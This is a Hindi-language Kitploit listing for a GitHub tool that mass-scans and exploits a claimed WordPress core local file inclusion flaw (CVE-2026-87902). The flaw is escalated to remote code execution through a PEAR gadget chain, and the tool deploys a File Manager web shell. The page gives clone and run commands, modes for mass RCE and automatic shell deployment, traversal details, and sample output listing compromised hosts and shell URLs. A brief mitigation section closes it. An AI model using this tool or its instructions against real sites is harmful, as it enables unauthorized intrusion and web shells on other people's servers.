Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-87902 — CVE-2026-87902 के लिए Python मास स्कैनर और एक्सप्लॉइट, जो get_page_template() में एक अनधिप्रमाणित WordPress कोर LFI है, जिसे PEAR गैजेट चेन और File Manager शेल के माध्यम से RCE तक बढ़ाया गया है। | Kitploit
उपकरण/GitHubGitHub/hackfutsecroot/cve-2026-87902
भेद्यता स्कैनरपेलोड जनरेशनशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHub
hackfutsecroot/cve-2026-87902

CVE-2026-87902

CVE-2026-87902 के लिए Python मास स्कैनर और एक्सप्लॉइट, जो get_page_template() में एक अनधिप्रमाणित WordPress कोर LFI है, जिसे PEAR गैजेट चेन और File Manager शेल के माध्यम से RCE तक बढ़ाया गया है।

रिपॉजिटरी देखेंवेबसाइट
31 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🎯 CVE-2026-87902 — WordPress Core LFI → RCE



🔍 अवलोकन · ⚡ त्वरित शुरुआत · 🎯 उपयोग · 📊 आउटपुट · 📞 संपर्क


🔍 अवलोकन

CVE-2026-87902 WordPress core में एक गंभीर अप्रमाणित लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता है जो PEAR gadget chain के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) तक पहुँचती है।

यह भेद्यता wp-includes/template.php:get_page_template() में निहित है, जो सार्वजनिक pagename क्वेरी वेरिएबल ($_POST से पढ़ा गया) का उपयोग टेम्पलेट नाम बनाने के लिए करता है बिना उसे validate_file() से गुज़ारे। चूँकि locate_template() केवल file_exists() निष्पादित करता है, सक्रिय थीम के अंदर एक वास्तविक page-* डायरेक्टरी पूर्ण पाथ ट्रैवर्सल की अनुमति देती है।

🎯 हमला श्रृंखला

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ प्रभावित संस्करण

उत्पादअसुरक्षितपैच किया गया
WordPress Core4.7.0 → 7.1.17.1.2+
गंभीरता🔴 CRITICAL—
CVSS 4.09.8—
प्रमाणीकरण❌ आवश्यक नहीं—

⚡ त्वरित शुरुआत

📦 इंस्टॉलेशन

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 पहला रन

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 उपयोग

📋 उपलब्ध मोड

मोड कमांड विवरण
🔍 जाँच python main.py -l targets.txt --check गैर-विनाशकारी LFI पहचान
💥 LFI python main.py -l targets.txt OPML oracle के साथ LFI की पुष्टि करें
⚡ RCE python main.py -l targets.txt --rce --command "id" PEAR के माध्यम से कमांड निष्पादित करें
📁 शेल python main.py -l targets.txt --rce --shell File Manager तैनात करें

🔧 कमांड लाइन विकल्प

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 उदाहरण

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 आउटपुट

सफल रन के बाद, निम्नलिखित फ़ाइलें जनरेट होती हैं:

फ़ाइलसामग्री
📄 results.txtपूर्ण स्कैन लॉग
🎯 vulnerable.txtपुष्ट LFI वाले लक्ष्य
💀 rce.txtसफल RCE वाले लक्ष्य
📁 shells.txtफ़ाइल मैनेजर URL

🖥️ नमूना कंसोल आउटपुट

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ शमन

यदि आप एक सिस्टम प्रशासक हैं:

  1. WordPress को अपडेट करें 7.1.2 या उससे नए संस्करण पर
  2. अपनी ब्रांच के लिए बैकपोर्ट लागू करें:
    • 6.8.10, 7.0.6, 7.1.2
  3. WAF नियम: pagename में ../ या %2e%2e वाले अनुरोधों को ब्लॉक करें
  4. php.ini में register_argc_argv अक्षम करें (PEAR श्रृंखला को ब्लॉक करता है)
  5. pearcmd.php हटाएं यदि PEAR की आवश्यकता नहीं है
; php.ini
register_argc_argv = Off

📞 संपर्क

🌐 हमसे जुड़ें

टूल डाउनलोड करें